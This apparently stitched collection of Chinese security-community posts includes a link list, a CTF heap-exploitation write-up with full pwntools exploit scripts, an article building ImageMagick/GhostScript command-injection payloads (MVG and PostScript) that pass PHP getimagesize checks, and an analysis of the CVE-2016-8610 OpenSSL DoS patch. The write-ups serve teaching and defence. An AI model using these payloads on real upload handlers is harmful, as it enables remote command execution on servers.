<https://www.helpnetsecurity.com/2017/05/15/stealing-windows-credentials-using-google-chrome/>
通过IE11浏览器跨域窃取csv的信息
<http://research.rootme.in/stealing-csvs-crossdomain/>
Manticore是下一代二进制分析工具
<https://blog.trailofbits.com/2017/05/15/magic-with-manticore/>
Intezer发布报告称WannaCry勒索软件可能是朝鲜干的
<http://www.intezer.com/wp-content/uploads/2017/05/Intezer_WannaCry.pdf>
WannaCryptor 勒索蠕虫样本深度技术分析_阿尔法实验室
<http://blog.topsec.com.cn/ad_lab/wannacryptor-%E5%8B%92%E7%B4%A2%E8%A0%95%E8%99%AB%E6%A0%B7%E6%9C%AC%E6%B7%B1%E5%BA%A6%E6%8A%80%E6%9C%AF%E5%88%86%E6%9E%90_%E9%98%BF%E5%B0%94%E6%B3%95%E5%AE%9E%E9%AA%8C%E5%AE%A4/>
上周windows杀毒引擎的RCE的详细分析
<https://0patch.blogspot.jp/2017/05/0patching-worst-windows-remote-code.html>
微信(WeChat)电脑端多开研究+源码
<http://anhkgg.github.io/wechat-multi-pc/>
关于机器学习和网络安全的一些资料
<https://github.com/secdr/sec-ml>
浏览器安全相关的鲜为人知的小技巧
<https://speakerdeck.com/filedescriptor/exploiting-the-unexploitable-with-lesser-known-browser-tricks>
分析Chrysaor键盘记录机制的恶意代码功能
<https://securingtomorrow.mcafee.com/mcafee-labs/analysis-chrysaor-keylogging-mechanism-shows-power-simple-malicious-code/>
XML vs. JSON: 常见用法和安全性比较
<https://blog.securityevaluators.com/xml-vs-json-security-risks-22e5320cf529>
The STRESS(Search Text RElevance Score Side-channel) Attack
<https://stressattack.github.io/paper/sp17stress.pdf>
Empire 2.0最终版发布
<https://xorrior.com/2.0-Final-Release/>
Linux Kernel 4.8.0 (Ubuntu) – Packet Socket 本地提取exp
<https://www.exploit-db.com/exploits/41994/>
基于Windows内核池的越界读取
<https://bugs.chromium.org/p/project-zero/issues/detail?id=1127> | 社区文章 |
本人在做堆题时经常遇到一些思路特别怪的套路,自己不看 exp 基本永远想不到,看完后先是一脸蒙,经过调试就恍然大悟.奥~~
还能这么玩,所以通过这个系列记录一下
在 fastbin 中,大多数时候修改成可利用的 fd
很考验堆的构造能力,下边就以[该题](https://xz.aliyun.com/t/3383#toc-4)作为模板（题有点古老了,但这确实是我找的最合适的题目）
## 漏洞简要分析及unlink exp
师傅已经说的很清楚了，咱就直接分析漏洞吧
unsigned __int64 take_note()
{
int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("which one do you want modify :");
__isoc99_scanf("%d", &v1);
if ( buf[v1] != 0LL && v1 >= 0 && v1 <= 9 )
{
puts("please input the content");
read(0, buf[v1], 0x100uLL); //溢出
}
return __readfsqword(0x28u) ^ v2;
}
很明显,直接能输入 0x100 字节,堆溢出. checksec 一下,一看没开 pie
> checksec supwn5
[*] '/home/pic/\xe6\xa1\x8c\xe9\x9d\xa2/11\xe6\x9c\x88\xe6\x96\x87\xe7\xab\xa0/supwn5'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
可以直接 unlink ,实在有点好用, unlink 的 exp
from pwn import *
p = process('./supwn5')
elf = ELF("./supwn5", checksec=False)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
#context.log_level = "debug"
def new(size):
p.sendlineafter('please chooice :\n','1')
p.sendlineafter('please input the size : \n',str(size))
def free(ind):
p.sendlineafter('please chooice :\n','2')
p.sendlineafter('which node do you want to delete\n',str(ind))
def edit(ind,content):
p.sendlineafter('please chooice :\n','4')
p.sendlineafter('which one do you want modify :\n',str(ind))
p.sendafter('please input the content',content)
new(0x80)
new(0x80)
new(1)
payload = p64(0)+p64(0x81)+p64(0x06020C0-24)+p64(0x06020C0-16)
payload = payload.ljust(0x80)
payload+=p64(0x80)+p64(0x90)
edit(0,payload)
free(1)
pay = p64(0)*3+p64(elf.got['puts'])+p64(0x06020C0-24)*5
edit(0,pay)
p.sendlineafter('please chooice :\n','3')
p.sendlineafter('which node do you want to show\n','0')
p.recvuntil('the content is : \n')
leak = u64(p.recvuntil('\n')[:-1].ljust(8,'\x00'))
libc_base = leak - libc.symbols['puts']
print hex(libc_base)
system = libc.symbols['system'] + libc_base
free_hook = libc.symbols['__free_hook'] + libc_base
pay = p64(0)*3+p64(free_hook)+p64(0x06020C0-24)*5
edit(1,pay)
gdb.attach(p)
one=libc_base+0x4526a
edit(0,p64(one))
free(1)
p.interactive()
常规思路 unlink 到 bss 端直接指那打哪,但是能溢出这么多字节就利用个 off-by-one 觉得有点可惜,就想用点别的思路来做
## fd 到 malloc_hook-0x23
> Arbitrary Alloc
from pwn import *
elf = ELF("./supwn5", checksec=False)
libc = elf.libc
#context.log_level = "debug"
def new(size):
p.sendlineafter('please chooice :\n','1')
p.sendlineafter('please input the size : \n',str(size))
def free(ind):
p.sendlineafter('please chooice :\n','2')
p.sendlineafter('which node do you want to delete\n',str(ind))
def edit(ind,content):
p.sendlineafter('please chooice :\n','4')
p.sendlineafter('which one do you want modify :\n',str(ind))
p.sendafter('please input the content',content)
def show(ind):
p.sendlineafter('please chooice :\n','3')
p.sendlineafter('which node do you want to show\n',str(ind))
i=0
while(i<10):
p=process('./supwn5',aslr=2)
new(0x80)
new(1)
free(0)
new(0x80)
show(0)
p.recvuntil('the content is : \n')
leak = u64(p.recvuntil('\n')[:-1].ljust(8,"\x00"))
base = leak-3951480
print hex(base)
i=i+1
p.close()
通过上述的小脚本跑一下该程序,会发现 so 的基地址在最高字节均为`0x7f`,这也就是修改 `malloc_hook` 为 fd 的基础
提前说明,本篇脚本均完成到了 malloc 到了 malloc_hook ,填入 one_gadget
过程实在有点玄学,各种环境难免保证一样,各位可以自己向下研究利用.上 exp
from pwn import *
p = process('./supwn5',aslr=2)
elf = ELF("./supwn5", checksec=False)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
#context.log_level = "debug"
def new(size):
p.sendlineafter('please chooice :\n','1')
p.sendlineafter('please input the size : \n',str(size))
def free(ind):
p.sendlineafter('please chooice :\n','2')
p.sendlineafter('which node do you want to delete\n',str(ind))
def edit(ind,content):
p.sendlineafter('please chooice :\n','4')
p.sendlineafter('which one do you want modify :\n',str(ind))
p.sendafter('please input the content',content)
def show(ind):
p.sendlineafter('please chooice :\n','3')
p.sendlineafter('which node do you want to show\n',str(ind))
new(0x80)
new(1)
free(0)
new(0x80)
show(0)
p.recvuntil('the content is : \n')
leak = u64(p.recvuntil('\n')[:-1].ljust(8,"\x00"))
base = leak-3951480
print hex(base)
new(0x60)
free(2)
edit(1,p64(0)*3+p64(0x71)+p64(base+3951341))
gdb.attach(p)
new(0x60)
new(0x60)
edit(3,'a'*0x13+'b'*8)
gdb.attach(p)
p.interactive()
成功的关键就是刚才说的在 malloc_hook-0x23 的 0x7f 固定,必然满足 fastbin 检查,直接就 malloc 出来了
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x19770b0 —▸ 0x7f8c9946daed (_IO_wide_data_0+301) ◂— 0x8c9912ee20000000
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> x/32gx 0x7f8c9946daed
0x7f8c9946daed <_IO_wide_data_0+301>: 0x8c9946c260000000 0x000000000000007f
0x7f8c9946dafd: 0x8c9912ee20000000 0x8c9912ea0000007f
0x7f8c9946db0d <__realloc_hook+5>: 0x000000000000007f 0x0000000000000000
0x7f8c9946db1d: 0x0000000000000000 0x0000000000000000
但是其实还有很多时候无法使用该方法,比如说题目在 malloc 堆的时候是固定字节或者限制 malloc 字节大小,最大是 0x60
这种,这时候就又要换个思路了
## 通过 main_arena 修改 top_chunk
这个并不是直接在 top_chunk 修改值(类似 `house of force`),而是通过 main_arena
这个放各种结构的地方来修改,详细记录一下思路
from pwn import *
p = process('./supwn5',aslr=2)
elf = ELF("./supwn5", checksec=False)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
#context.log_level = "debug"
def new(size):
p.sendlineafter('please chooice :\n','1')
p.sendlineafter('please input the size : \n',str(size))
def free(ind):
p.sendlineafter('please chooice :\n','2')
p.sendlineafter('which node do you want to delete\n',str(ind))
def edit(ind,content):
p.sendlineafter('please chooice :\n','4')
p.sendlineafter('which one do you want modify :\n',str(ind))
p.sendafter('please input the content',content)
def show(ind):
p.sendlineafter('please chooice :\n','3')
p.sendlineafter('which node do you want to show\n',str(ind))
上述为框架函数
new(0x80)
new(1)
free(0)
new(0x80)
show(0)
p.recvuntil('the content is : \n')
leak = u64(p.recvuntil('\n')[:-1].ljust(8,"\x00"))
print hex(leak)
base = leak-3951480
//效果如下(下方的格式都是先是代码和执行完的调试结果)
pwndbg> heap
0xde8000 PREV_INUSE {
prev_size = 0,
size = 145,
fd = 0x7f06f2f30b78 <main_arena+88>,
bk = 0x7f06f2f30b78 <main_arena+88>,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0xde8090 FASTBIN {
prev_size = 144,
size = 33,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x20f51
}
0xde80b0 PREV_INUSE {
prev_size = 0,
size = 134993,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
pwndbg> x/32gx 0xde8000
0xde8000: 0x0000000000000000 0x0000000000000091
0xde8010: 0x00007f06f2f30b78 0x00007f06f2f30b78
0xde8020: 0x0000000000000000 0x0000000000000000
0xde8030: 0x0000000000000000 0x0000000000000000
上述为泄漏 libc 地址
new(0x40)
free(2)
edit(1,p64(0)*3+p64(0x51)+p64(0x61))
pwndbg> x/32gx 0xde8000
0xde8000: 0x0000000000000000 0x0000000000000091
0xde8010: 0x00007f06f2f30b78 0x00007f06f2f30b78
0xde8020: 0x0000000000000000 0x0000000000000000
0xde8030: 0x0000000000000000 0x0000000000000000
0xde8040: 0x0000000000000000 0x0000000000000000
0xde8050: 0x0000000000000000 0x0000000000000000
0xde8060: 0x0000000000000000 0x0000000000000000
0xde8070: 0x0000000000000000 0x0000000000000000
0xde8080: 0x0000000000000000 0x0000000000000000
0xde8090: 0x0000000000000090 0x0000000000000021
0xde80a0: 0x0000000000000000 0x0000000000000000
0xde80b0: 0x0000000000000000 0x0000000000000051
0xde80c0: 0x0000000000000061 0x0000000000000000
0xde80d0: 0x0000000000000000 0x0000000000000000
0xde80e0: 0x0000000000000000 0x0000000000000000
0xde80f0: 0x0000000000000000 0x0000000000000000
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0xde80b0 ◂— 0x61 /* 'a' */
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
这个就是为了之后的 malloc 出来 fastbin 做铺垫,`0x61`等会作用很大
new(0x40)
new(0x50)
free(3)
edit(2,p64(0)*9+p64(0x61)+p64(leak-0x40))
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x61
0x60: 0xde8100 —▸ 0x7f06f2f30b38 (main_arena+24) ◂— 0xde8100
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> x/32gx 0x7f06f2f30b38
0x7f06f2f30b38 <main_arena+24>: 0x0000000000000000 0x0000000000000061
0x7f06f2f30b48 <main_arena+40>: 0x0000000000de8100 0x0000000000000000
0x7f06f2f30b58 <main_arena+56>: 0x0000000000000000 0x0000000000000000
0x7f06f2f30b68 <main_arena+72>: 0x0000000000000000 0x0000000000000000
0x7f06f2f30b78 <main_arena+88>: 0x0000000000de8160 0x0000000000000000
...
可以看到上边的结果, 0x61 已经写进去了,而且 0x60 的块也构造好了,满足构造条件,下边就是合理使用了
new(0x50)
new(0x50)
edit(4,p64(0)*6+p64(leak-0x78))
pwndbg> x/20gx 0x7f06f2f30b00
0x7f06f2f30b00 <__memalign_hook>: 0x00007f06f2bf1e20 0x00007f06f2bf1a00
0x7f06f2f30b10 <__malloc_hook>: 0x0000000000000000 0x0000000000000000
0x7f06f2f30b20 <main_arena>: 0x0000000000000000 0x0000000000000000
0x7f06f2f30b30 <main_arena+16>: 0x0000000000000000 0x0000000000000000
0x7f06f2f30b40 <main_arena+32>: 0x0000000000000061 0x0000000000000000
0x7f06f2f30b50 <main_arena+48>: 0x0000000000000000 0x0000000000000000
0x7f06f2f30b60 <main_arena+64>: 0x0000000000000000 0x0000000000000000
0x7f06f2f30b70 <main_arena+80>: 0x0000000000000000 0x00007f06f2f30b00 ------>topchunk
0x7f06f2f30b80 <main_arena+96>: 0x0000000000000000 0x00007f06f2f30b78
0x7f06f2f30b90 <main_arena+112>: 0x00007f06f2f30b78 0x00007f06f2f30b88
pwndbg> arena
{
mutex = 0,
flags = 0,
fastbinsY = {0x0, 0x0, 0x0, 0x61, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},
top = 0x7f06f2f30b00 <__memalign_hook>,
通过上述,可以看到已经把 top_chunk 给改了,这里要注意一下 topchunk千万别是 0 ,注意一下偏移就好了
new(1)
edit(5,'a'*8)
pwndbg> x/20gx 0x7f06f2f30b00-0x10
0x7f06f2f30af0 <_IO_wide_data_0+304>: 0x00007f06f2f2f260 0x0000000000000000
0x7f06f2f30b00 <__memalign_hook>: 0x00007f06f2bf1e20 0x0000000000000021
0x7f06f2f30b10 <__malloc_hook>: 0x6161616161616161 0x0000000000000000
0x7f06f2f30b20 <main_arena>: 0x0000000000000000 0x00007f06f2bf19e1
0x7f06f2f30b30 <main_arena+16>: 0x0000000000000000 0x0000000000000000
0x7f06f2f30b40 <main_arena+32>: 0x0000000000000061 0x0000000000000000
利用成功,完整 exp 见下
from pwn import *
p = process('./supwn5',aslr=2)
elf = ELF("./supwn5", checksec=False)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
#context.log_level = "debug"
def new(size):
p.sendlineafter('please chooice :\n','1')
p.sendlineafter('please input the size : \n',str(size))
def free(ind):
p.sendlineafter('please chooice :\n','2')
p.sendlineafter('which node do you want to delete\n',str(ind))
def edit(ind,content):
p.sendlineafter('please chooice :\n','4')
p.sendlineafter('which one do you want modify :\n',str(ind))
p.sendafter('please input the content',content)
def show(ind):
p.sendlineafter('please chooice :\n','3')
p.sendlineafter('which node do you want to show\n',str(ind))
new(0x80)
new(1)
free(0)
new(0x80)
show(0)
p.recvuntil('the content is : \n')
leak = u64(p.recvuntil('\n')[:-1].ljust(8,"\x00"))
print hex(leak)
base = leak-3951480
new(0x40)
free(2)
edit(1,p64(0)*3+p64(0x51)+p64(0x61))
new(0x40)
new(0x50)
free(3)
edit(2,p64(0)*9+p64(0x61)+p64(leak-0x40))
new(0x50)
new(0x50)
edit(4,p64(0)*6+p64(leak-0x78))
new(1)
edit(5,'a'*8)
gdb.attach(p)
p.interactive()
## 总结
通过这个可以看到 fastbin-->malloc_hook 还是比较简单的,但是构造起来很需要耐心.另外可以发现我这个 unlink
exp偷懒了,完全可以很稳的执行 system('/bin/sh') 的,但还是因为想偷懒,直接向 free_hook 填的 one_gadget
,不过还好成功了.所以其实还是得少用 one_gadget ,这个还是下下策 | 社区文章 |
**作者：Phith0n@长亭科技**
**来源：[https://www.leavesongs.com/PENETRATION/when-imagemagick-meet-getimagesize.html?from=timeline&isappinstalled=0](https://www.leavesongs.com/PENETRATION/when-imagemagick-meet-getimagesize.html?from=timeline&isappinstalled=0)**
前段时间写的文章，在微博上说HW结束分享一下，总算可以发了。感谢 @voidfyoo 提出的这个问题。
今天遇到一个代码，大致如下：
<?php
$filename = $_FILES['image']['tmp_name'];
$size = getimagesize($filename);
if ($size && $size[0] > 100 && $size[1] > 100) {
$img = new Imagick($_FILES['image']['tmp_name']);
$img->cropThumbnailImage(100, 100);
$img->writeImage('newimage.gif');
}
用户上传的文件如果大于100px，则用Imagick处理成100x100的缩略图，再存储在硬盘上。
通过这个代码，我们很容易想到用Imagemagick的漏洞进行测试，但这里前面对图片大小用getimagesize进行了限制，之前爆出来的那些POC均无法通过校验，因为getimagesize并不支持类似PostScript、MVG这样的图片格式。
这时候我们怎么绕过这个限制呢？
## [0x01 Imagemagick命令执行不完全回顾](https://www.leavesongs.com/PENETRATION/when-imagemagick-meet-getimagesize.html?from=timeline&isappinstalled=0#0x01-imagemagick)
Imagemagick历史上曾出现过的很多命令执行漏洞，我在[vulhub](https://github.com/vulhub/vulhub)里做过以下三个：
1. CVE-2016-3714
2. CVE-2018-16509
3. CVE-2019-6116
第一个是Imagemagick在处理mvg格式图片时导致的命令注入，后两个都是在处理PostScript文件时因为使用了GhostScript，而GhostScript中存在的命令注入。
Imagemagick是一个大而全的图片处理库，他能处理日常生活中见到的绝大多数图片格式，比如jpg、gif、png等，当然也包括日常生活中很少见到的图片格式，比如前面说的mvg和ps。
这三个漏洞的具体原理网上很多文章也分析过，我这里就不再分析了，但我们思考一下：
**一个文件交给Imagemagick处理，他是怎么知道这是哪种格式的图片，并如何处理呢？**
显然需要一个方法来区分文件类型，而单纯用文件名后缀来判断是不合理的（文件后缀并不是构成文件名的必要元素），常规的做法就是通过文件头来判断。
随便翻一下Imagemagick的代码，我就发现大多数文件格式的处理中，通常有一个函数，用来判断这个文件是否是对应的格式。
比如：
// coders/ps.c
static MagickBooleanType IsPS(const unsigned char *magick,const size_t length)
{
if (length < 4)
return(MagickFalse);
if (memcmp(magick,"%!",2) == 0)
return(MagickTrue);
if (memcmp(magick,"\004%!",3) == 0)
return(MagickTrue);
return(MagickFalse);
}
// coders/mvg.c
static MagickBooleanType IsMVG(const unsigned char *magick,const size_t length)
{
if (length < 20)
return(MagickFalse);
if (LocaleNCompare((const char *) magick,"push graphic-context",20) == 0)
return(MagickTrue);
return(MagickFalse);
}
这两个函数就是判断文件是否是postscript和mvg格式。很显然，他这里是通过文件头来判断，也就是说，如果想让Imagemagick用ps的处理方法来处理图片，这个图片的前几个字节必须是`%!`或`\004%!`。
这也很好理解，文件头的意义就是标示这个文件是什么类型的文件。
所以，如果我们想利用Imagemagick的命令执行漏洞，必须要给他传入一个合法的mvg或ps文件，或者至少文件头要满足要求。
## [0x02 深入getimagesize](https://www.leavesongs.com/PENETRATION/when-imagemagick-meet-getimagesize.html?from=timeline&isappinstalled=0#0x02-getimagesize)
通过翻阅PHP文档，可知getimagesize支持的图片类型有
`GIF，JPG，PNG，SWF，SWC，PSD，TIFF，BMP，IFF，JP2，JPX，JB2，JPC，XBM，WBMP`：
[
那么这时候就犯难了，ps和mvg并不在其中。如果我们传入一个ps文件，getimagesize处理时就会失败并返回false，那么就不会执行到Imagick那里。这种方法也是当初ImageTragick漏洞出现时，很多文章推荐的缓解措施。
似乎很安全，不过我们应该深入研究一下getimagesize究竟是如何处理图片的。
下载php源码，`ext/standard/image.c`这个文件是关键，看到如下函数：
static void php_getimagesize_from_stream(php_stream *stream, zval *info, INTERNAL_FUNCTION_PARAMETERS) /* {{{ */
{
int itype = 0;
struct gfxinfo *result = NULL;
if (!stream) {
RETURN_FALSE;
}
itype = php_getimagetype(stream, NULL);
switch( itype) {
case IMAGE_FILETYPE_GIF:
result = php_handle_gif(stream);
break;
case IMAGE_FILETYPE_JPEG:
//...
case ...
可见，这里逻辑是首先用`php_getimagetype(stream,
NULL)`来获取图片格式，然后进入一个switch语句，根据格式来分配具体的处理方法。
看看PHP是如何获取图片格式的：
PHPAPI int php_getimagetype(php_stream * stream, char *filetype)
{
char tmp[12];
int twelve_bytes_read;
if ( !filetype) filetype = tmp;
if((php_stream_read(stream, filetype, 3)) != 3) {
php_error_docref(NULL, E_NOTICE, "Read error!");
return IMAGE_FILETYPE_UNKNOWN;
}
/* BYTES READ: 3 */
if (!memcmp(filetype, php_sig_gif, 3)) {
return IMAGE_FILETYPE_GIF;
} else if (!memcmp(filetype, php_sig_jpg, 3)) {
return IMAGE_FILETYPE_JPEG;
} else if (!memcmp(filetype, php_sig_png, 3)) {
if (php_stream_read(stream, filetype+3, 5) != 5) {
php_error_docref(NULL, E_NOTICE, "Read error!");
return IMAGE_FILETYPE_UNKNOWN;
}
if (!memcmp(filetype, php_sig_png, 8)) {
return IMAGE_FILETYPE_PNG;
} else {
php_error_docref(NULL, E_WARNING, "PNG file corrupted by ASCII conversion");
return IMAGE_FILETYPE_UNKNOWN;
}
} else if (!memcmp(filetype, php_sig_swf, 3)) {
return IMAGE_FILETYPE_SWF;
} else if (!memcmp(filetype, php_sig_swc, 3)) {
return IMAGE_FILETYPE_SWC;
} else if (!memcmp(filetype, php_sig_psd, 3)) {
return IMAGE_FILETYPE_PSD;
} else if (!memcmp(filetype, php_sig_bmp, 2)) {
return IMAGE_FILETYPE_BMP;
} else if (!memcmp(filetype, php_sig_jpc, 3)) {
return IMAGE_FILETYPE_JPC;
} else if (!memcmp(filetype, php_sig_riff, 3)) {
if (php_stream_read(stream, filetype+3, 9) != 9) {
php_error_docref(NULL, E_NOTICE, "Read error!");
return IMAGE_FILETYPE_UNKNOWN;
}
if (!memcmp(filetype+8, php_sig_webp, 4)) {
return IMAGE_FILETYPE_WEBP;
} else {
return IMAGE_FILETYPE_UNKNOWN;
}
}
if (php_stream_read(stream, filetype+3, 1) != 1) {
php_error_docref(NULL, E_NOTICE, "Read error!");
return IMAGE_FILETYPE_UNKNOWN;
}
/* BYTES READ: 4 */
if (!memcmp(filetype, php_sig_tif_ii, 4)) {
return IMAGE_FILETYPE_TIFF_II;
} else if (!memcmp(filetype, php_sig_tif_mm, 4)) {
return IMAGE_FILETYPE_TIFF_MM;
} else if (!memcmp(filetype, php_sig_iff, 4)) {
return IMAGE_FILETYPE_IFF;
} else if (!memcmp(filetype, php_sig_ico, 4)) {
return IMAGE_FILETYPE_ICO;
}
/* WBMP may be smaller than 12 bytes, so delay error */
twelve_bytes_read = (php_stream_read(stream, filetype+4, 8) == 8);
/* BYTES READ: 12 */
if (twelve_bytes_read && !memcmp(filetype, php_sig_jp2, 12)) {
return IMAGE_FILETYPE_JP2;
}
/* AFTER ALL ABOVE FAILED */
if (php_get_wbmp(stream, NULL, 1)) {
return IMAGE_FILETYPE_WBMP;
}
if (!twelve_bytes_read) {
php_error_docref(NULL, E_NOTICE, "Read error!");
return IMAGE_FILETYPE_UNKNOWN;
}
if (php_get_xbm(stream, NULL)) {
return IMAGE_FILETYPE_XBM;
}
return IMAGE_FILETYPE_UNKNOWN;
}
这个函数很长，首先从流里读了3个字节，进行了一批判断（用`memcmp`对比），其实也就是对比图片头；如果没找到，则再读取一个字节，对比4个字节长度的图片头；如果还没找到，再读取8个字节，看图片是否是jp2格式；如果还不是，则用`php_get_wbmp`与`php_get_xbm`两个函数判断图片是否是wbmp与xbm格式。
前面比较文件头的部分，已经和Imagemagick漏洞利用条件冲突了，毕竟一个文件不可能既是ps文件头，又是gif文件头，那么只能寄希望于`php_get_wbmp`与`php_get_xbm`两个函数。
`php_get_wbmp`是没戏的，因为他要求第一个字节必须是`\x00`：
static int php_get_wbmp(php_stream *stream, struct gfxinfo **result, int check)
{
int i, width = 0, height = 0;
if (php_stream_rewind(stream)) {
return 0;
}
/* get type */
if (php_stream_getc(stream) != 0) {
return 0;
}
那么看一下`php_get_xbm`：
static int php_get_xbm(php_stream *stream, struct gfxinfo **result)
{
char *fline;
char *iname;
char *type;
int value;
unsigned int width = 0, height = 0;
if (result) {
*result = NULL;
}
if (php_stream_rewind(stream)) {
return 0;
}
while ((fline=php_stream_gets(stream, NULL, 0)) != NULL) {
iname = estrdup(fline); /* simple way to get necessary buffer of required size */
if (sscanf(fline, "#define %s %d", iname, &value) == 2) {
if (!(type = strrchr(iname, '_'))) {
type = iname;
} else {
type++;
}
if (!strcmp("width", type)) {
width = (unsigned int) value;
if (height) {
efree(iname);
break;
}
}
if (!strcmp("height", type)) {
height = (unsigned int) value;
if (width) {
efree(iname);
break;
}
}
}
efree(fline);
efree(iname);
}
if (fline) {
efree(fline);
}
if (width && height) {
if (result) {
*result = (struct gfxinfo *) ecalloc(1, sizeof(struct gfxinfo));
(*result)->width = width;
(*result)->height = height;
}
return IMAGE_FILETYPE_XBM;
}
return 0;
}
这函数主要是一个大while循环，遍历了文件的每一行。从这里也能看出，xbm图片是一个文本格式的文件，而不像其他图片一样是二进制文件。
如果某一行格式满足`#define %s %d`，那么取出其中的字符串和数字，再从字符串中取出`width`或`height`，将数字作为图片的长和宽。
逻辑很简单呀，文本格式，而且没有限制文件头，只要有某两行可以控制即可。这和我们Imagemagick的POC差别并不大，显然是可以兼容的。
## [0x03
编写同时符合getimagesize与Imagemagick的POC](https://www.leavesongs.com/PENETRATION/when-imagemagick-meet-getimagesize.html?from=timeline&isappinstalled=0#0x03-getimagesizeimagemagickpoc)
理论基础结束，我们来编写一下POC吧。
首先拿出原mvg格式的POC：
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.0/oops.jpg"|"`id`)'
pop graphic-context
我们只需要在后面增加上`#define %s %d`即可：
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.0/oops.jpg"|"`id`)'
pop graphic-context
#define xlogo_width 200
#define xlogo_height 200
getimagesize成功获取其大小：
[
用存在漏洞的imagemagick进行测试，命令成功执行：
[
ps也一样，我们借助CVE-2018-16509的POC进行构造：
%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%id) currentdevice putdeviceprops
/test {
#define xlogo64_width 64
#define xlogo64_height 64
}
用getimagesize成功获取图片大小：
[
用存在漏洞的imagemagick+GhostScript进行测试，命令成功执行：
[
## [0x04 后记](https://www.leavesongs.com/PENETRATION/when-imagemagick-meet-getimagesize.html?from=timeline&isappinstalled=0#0x04)
本来想写一下Discuz下的利用的，但是鉴于某条例的规定，漏洞分析不能乱发，再加我粗略找到的利用链本身也不太完整，有一些条件限制，并不是特别好，所以就不献丑了。
事实上这个技巧在刚过去的实战中有用到，并不局限于Discuz或某个CMS。因为imagemagick和ghostscript的漏洞层出不穷，也在侧面辅助了黑盒渗透与PHP代码审计，待下一次0day爆发，也可以利用这个技巧进行盲测。
* * * | 社区文章 |
# 【补丁分析】CVE-2016-8610：对导致拒绝服务的“SSL Death Alert”漏洞补丁分析
|
##### 译文声明
本文是翻译文章，文章来源：securingtomorrow.mcafee.com
原文地址：<https://securingtomorrow.mcafee.com/mcafee-labs/ssl-death-alert-cve-2016-8610-can-cause-denial-of-service-to-openssl-servers/>
译文仅供参考，具体内容表达以及含义原文为准。
****
**翻译：**[ **m6aa8k**
****](http://bobao.360.cn/member/contribute?uid=2799685960)
**预估稿费：100RMB（不服你也来投稿啊！）**
******投稿方式：发送邮件至**[ **linwei#360.cn**](mailto:[email protected]) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿******
**前言**
最近，一个针对OpenSSL红色警戒(SSL Death
Alert)漏洞的安全补丁引起了我们的关注。与其他严重的安全漏洞一样，这个漏洞同样也引起了我们的注意，因为据漏洞的发现者称，有此漏洞的OpenSSL
Web服务器可能会受到拒绝服务攻击的威胁。为了更好地保护我们的客户免受这种攻击，McAfee Labs
IPS漏洞研究小组针对这个问题展开了深入的调查，以便提供针对该漏洞的检测和预防措施。
**漏洞分析**
我们的分析工作是从最近推出的代码的补丁差异报告开始着手的。
从以上报告可以看到，为了解决这个问题，已经对多个文件进行了相应的修改。
其中，利用diff命令检查include/openssl/ssl.h后发现，它引入了新的错误代码SSL_R_TOO_MANY_WARN_ALERTS（409）。
在ssl/record/record_locl.h中，我们可以看到其中引入了MAX_WARN_ALERT_COUNT，并将其设为5。
现在，让我们来深入考察实际的补丁代码，它位于文件ssl/record/rec_layer_d1.c和ssl/record/rec_layer_s3.c中。
下图显示了两个文件中的补丁更改情况。
**ssl/record/rec_layer_d1.c**
**ssl/record/rec_layer_s3.c**
正如我们所看到的那样，这个补丁非常简单。它只是对连续的SSL3_AL_WARNING警报包的层数进行累加，并检查计数是否大于5。如果计数大于5，它会引发错误。
**利用这个安全问题**
为了针对这种DoS攻击提供相应的检测和预防措施，我们创建了一个最简单的概念证明代码。虽然没有公开的漏洞利用代码可用，但是该漏洞的通报已经提供了大量的技术细节。要想利用这个安全漏洞，我们必须引发SSL握手过程。作为握手过程的一部分，攻击者必须向服务器发送一个正常的客户端
Hello数据包。以下屏幕截图显示了攻击的第一阶段捕获的数据包，即正常的客户端Hello数据包。
如安全公告中所述，为了耗尽CPU，我们需要向服务器发送大量精心设计的明文SSL3_AL_WARNING警报数据包。为此，我们必须了解警报包的结构。根据这个TLS协议备忘录的规定，该消息如下所示。
该警报消息可以进行加密，但就这里而言，我们必须向有此漏洞的服务器发送明文警报。
以下屏幕截图显示了在我们的测试环境中捕获的SSL3_AL_WARNING数据包。
接下来，我们看一下在单个消息中打包的多个警报。
该警报包的结构如下所示：
为了对开发的漏洞利用代码进行测试，我们配置了一个支持OpenSSL、自签名证书和私钥的测试服务器。以下屏幕截图表明，该服务器正在侦听4433端口，并且正在与SSL客户端进行通信。
当服务器与客户端进行正常SSL通信的时候，该服务器进程的CPU消耗并未出现异常。
然而，一旦通过该漏洞利用代码对服务器发动攻击，我们就会发现该服务器进程立即就会停止响应，因为CPU使用率马上高达99％，并且几秒钟后会达到100％。
当CPU利用率爆表的时候，自然会导致OpenSSL服务器拒绝服务，因为它已经无法访问了。在上述测试环境中，我们注意到，只要该漏洞利用代码一旦停止发送恶意数据包，SSL服务就会立即恢复。
**总结**
服务器管理员应尽快给OpenSSL服务器安装相应的补丁程序。McAfee网络安全平台（IPS）的0x45c09000签名可以用来检测和预防该攻击。 | 社区文章 |
